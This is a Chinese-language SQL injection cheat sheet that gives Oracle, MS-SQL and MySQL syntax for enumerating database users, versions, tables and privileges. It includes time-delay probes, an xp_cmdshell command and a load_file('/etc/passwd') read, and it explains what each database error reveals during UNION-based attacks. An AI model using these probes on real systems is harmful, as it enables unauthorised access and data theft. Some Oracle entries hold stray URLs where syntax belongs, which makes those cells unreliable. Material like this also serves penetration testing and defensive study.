SQL语法与错误参考
1.SQL语法
| 要求 |
ASCII和SUBSTRING |
| Oracle |
ASCII('A')等于65 SUBSTR('ABCDE',2,3)等于BCD |
| MS-SQL |
ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD |
| MySQL |
ASCII('A')等于65 SUBSTRING('ABCDE',2,3)等于BCD |
| 要求 |
获取当前数据库用户 |
| Oracle |
Select Sys.Login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV','SESSION_USER') |
| MS-SQL |
Select suser_sname() |
| MySQL |
SELECT user() |
| 要求 |
引起时间延迟 |
| Oracle |
Utl_Http.request('http://blog.csdn.net/u011149977') |
| MS-SQL |
waitfor delay '0:0:10' exec master..xp_cmdshell 'ping localhost' |
| MySQL |
sleep(100) |
| 要求 |
获取数据库版本字符串 |
| Oracle |
select banner from v$version |
| MS-SQL |
select @@version |
| MySQL |
select @@version |
| 要求 |
获取当前数据库 |
| Oracle |
SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual |
| MS-SQL |
select db_name() 获取服务器名称可用: select @@servername |
| MySQL |
Select database() |
| 要求 |
获取当前用户的权限 |
| Oracle |
SELECT privilege FROM session_privs |
| MS-SQL |
SELECT grantee,table_name,privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGE |
| MySQL |
SELECT * FROM information_schema.user_privileges WHERE grantee = '[user]' 此处[user]由SELECT user()的输出决定 |
| 要求 |
在一个单独的结果列中显示所有表和列 |
| Oracle |
Select table_name||''||column_name from all_tab_columns |
| MS-SQL |
SELECT table_name+'',column_name from information_schema.columns |
| MySQL |
SELECT CONCAT(table_name+'',column_name) from information_schema.columns |
| 要求 |
显示用户对象 |
| Oracle |
Select object_name,object_type from user_objects |
| MS-SQL |
SELECT name FROM sysobjects |
| MySQL |
SELECT table_name FROM information_schema.tables(或trigger_name from information_schema.triggers等) |
| 要求 |
显示用户表 |
| Oracle |
Select object_name,object_type from user_objectsWHEREobject_type='TABLE' 或者显示用户访问的所有表:SELECT table_name FROM all_tables |
| MS-SQL |
SELECT name FROM sysobjectsWHERExtype='U |
| MySQL |
SELECT table_name FROM information_schema.tables where table_type='BASE TABLE' and table_schema!='mysql' |
| 要求 |
显示表foo的列名称 |
| Oracle |
Select column_name,Name from user_tab_columns where table_name = 'FOO' 如果目标数据不为当前应用程序用户所有,使用ALL_table_columns表 |
| MS-SQL |
SELECT column_name, FROM information_schema.columns WHERE table_name='foo' |
| MySQL |
SELECT column_name FROM information_schema.columns WHERE table_name='foo' |
| 要求 |
与操作系统交互(最简单的方式) |
| Oracle |
www.baidu.com |
| MS-SQL |
exec xp_cmdshell 'dir c:\' |
| MySQL |
select load_file('/etc/passwd') |
2.SQL错误消息
| Oracle |
ORA-01756:quoted string not properly terminated ORA-00933:SQLcommand not properly ended |
| MS-SQL |
Msg 170,Level 15,State 1,Line 1 Line 1:Incorrect syntax neat 'foo' Msg 105,Level 15,State 1,Line1 Uncolsed quotation mark before the character string 'foo |
| MySQL |
You hava an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntx to use near ''foo' at line X |
| 原因 |
对Oracle和MS-SQL而言,SQL注入确实存在,并且几乎肯定可以加以利用.如果输入一个单引号,它改变数据库查询的语法,这是预料之中的错误. 对MySQL而言,SQL注入可能存在,但相同的错误消息可能出现在其他情况下. |
| Oracle |
PLS-00306:wrong number or types of arguments in call to 'XXX |
| MS-SQL |
Procedure 'XXX' expects parameter '@YYY',which was not supplied |
| MySQL |
N/A |
| 原因 |
已经注释或删掉一个通常会提交给数据库的变量.在MS-SQL中,应该可以使用时间延迟枚举获得任意数据 |
| Oracle |
ORA-01789:query bolck has incorrect number of result columns |
| MS-SQL |
Msg 205,Level 16,State 1,Line 1 All queries in an SQL statement containing a UNION operator must have an qeual number of expressions in their target lists. |
| MySQL |
The used SELECT statements have a different number of columns |
| 原因 |
当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始SELECT语句不同的列数. |
| Oracle |
ORA-01790:expression must have same datatype as corresponding expression |
| MS-SQL |
Msg 245,Level 16,State 1,Line 1 Syntax error converting the barchar value 'foo' to a column of data type int |
| MySQL |
(在MySQL中不会造成任何错误) |
| 原因 |
当试图实施UNION SELECT攻击时,就会看到这个错误消息;攻击者指定了一个与原始SELECT语句不同的数据类型.尝试使用NULL,或者使用1或2000 |
| Oracle |
ORA-01722:invalid number ORA-01858:a non-numeric character was found where a numeric was expected |
| MS-SQL |
Msg 245,Level 16,State 1,Line 1 Syntax error converting the varchar value 'foo' to a column of data type int. |
| MySQL |
(在MySQL中不会造成任何错误) |
| 原因 |
输入与字段中需要的数据类型不匹配.可能存在SQL注入漏洞,可能不需要一个单引号,因此尝试输入一个数字,后接注入的SQL查询. 在MS-SQL中,应该可以利用这条错误消息返回任何字符串. |
| Oracle |
ORA-00923:FROM keywork not found where expected |
| MS-SQL |
N/A |
| MySQL |
N/A |
| 原因 |
下面的语句可在MS-SQL中运行: SELECT 1 但在Oracle中,如果想要返回任何内容,必须从一个表中选择. 使用DUAL表即可: SELECT 1 from DUAL |
| Oracle |
ORA-00935:missing expression |
| MS-SQL |
Msg 156,Level 15,State 1,Line 1 Incorrect syntax near the keyword 'from'. |
| MySQL |
You have an error in your SQL syntax.Check the manual the corresponds to your MySQL server version for the right syntax to use near ' XXX ,YYY from SOME_TABLE' that line 1 |
| 原因 |
当注入点出现在FROM关键字之前(例如,注入了将要返回的列)或使用注释符号删除了不可缺少的SQL关键字时,常常会看到这条错误消息 尝试使用注释字符结束SQL语句 当遇到这种条件时,MySQL可以揭示列名XXX,YYY |
| Oracle |
ORA-00972:identifier is too long |
| MS-SQL |
String or binary data would be truncated |
| MySQL |
N/A |
| 原因 |
这条错误消息并不表示存在SQL注入漏洞.如果遇到一个超长的字符串,可能会看到这条错误消息.也不可能遇到缓冲区溢出,因为数据库正在安全地处理输入 |
| Oracle |
ORA-00942:table or view does not exists |
| MS-SQL |
Msg 208,Level 16,State 1,Line 1 Invalid object name 'foo' |
| MySQL |
Table 'DBNAME.SOMETABLE' doesn't exist |
| 原因 |
要么是因为正试图访问一个不存在的表或视图,要么在Orac中,数据库用户并不拥有访问该表或视图的权限.对一个已知能够访问的表(如DUAL表)测试查询 当遇到这种条件时,MySQL应可以揭示当前数据库模式DBNAME |
| Oracle |
ORA-00920:invalid relational operator |
| MS-SQL |
Msg 170, Level 15,State 1,Line 1 Line 1:Incorrect syntax near foo |
| MySQL |
You have an error in your SQL suntax.Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 |
| 原因 |
可能更改了WHERE子句的内容,SQL注入试图使语法中断 |
| Oracle |
ORA-00907:missing right parenthesis |
| MS-SQL |
N/A |
| MySQL |
You have an error in your SQL suntax.Check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 |
| 原因 |
SQL注入生效,但注入点在圆括号内.可能是由于用注入的注释字符(--)把结尾的圆括号当做注释处理了 |
| Oracle |
ORA-00900:Invalid SQL statement |
| MS-SQL |
Msg 170,Level 15,State 1,Line 1 Line 1:Incorrect syntax near foo |
| MySQL |
You have an error in your SQL suntax.Check the manual that corresponds to your MySQL server version for the right syntax to use near XXXXXX |
| 原因 |
一条常规错误消息.前面列出的错误消息会优先于这条错误消息显示,因此肯定出现了其他问题.可以尝试另一种输入,以获得一条提供更多信息的消息. |
| Oracle |
ORA-03001:unimplemented feature |
| MS-SQL |
N/A |
| MySQL |
N/A |
| 原因 |
执行了一个Oracle禁止的操作.如果位于UPDATE或INSERT查询中,但却试图从v$version显示数据库版本字符串,就会出现这条消息. |
| Oracle |
ORA-02030:can only select from fixed table/views |
| MS-SQL |
N/A |
| MySQL |
N/A |
| 原因 |
可能试图编辑一个SYSTEM视图.如果位于UPDATE或INSERT查询中,但却试图从v$version显示数据库版本字符串,就会出现这条消息 |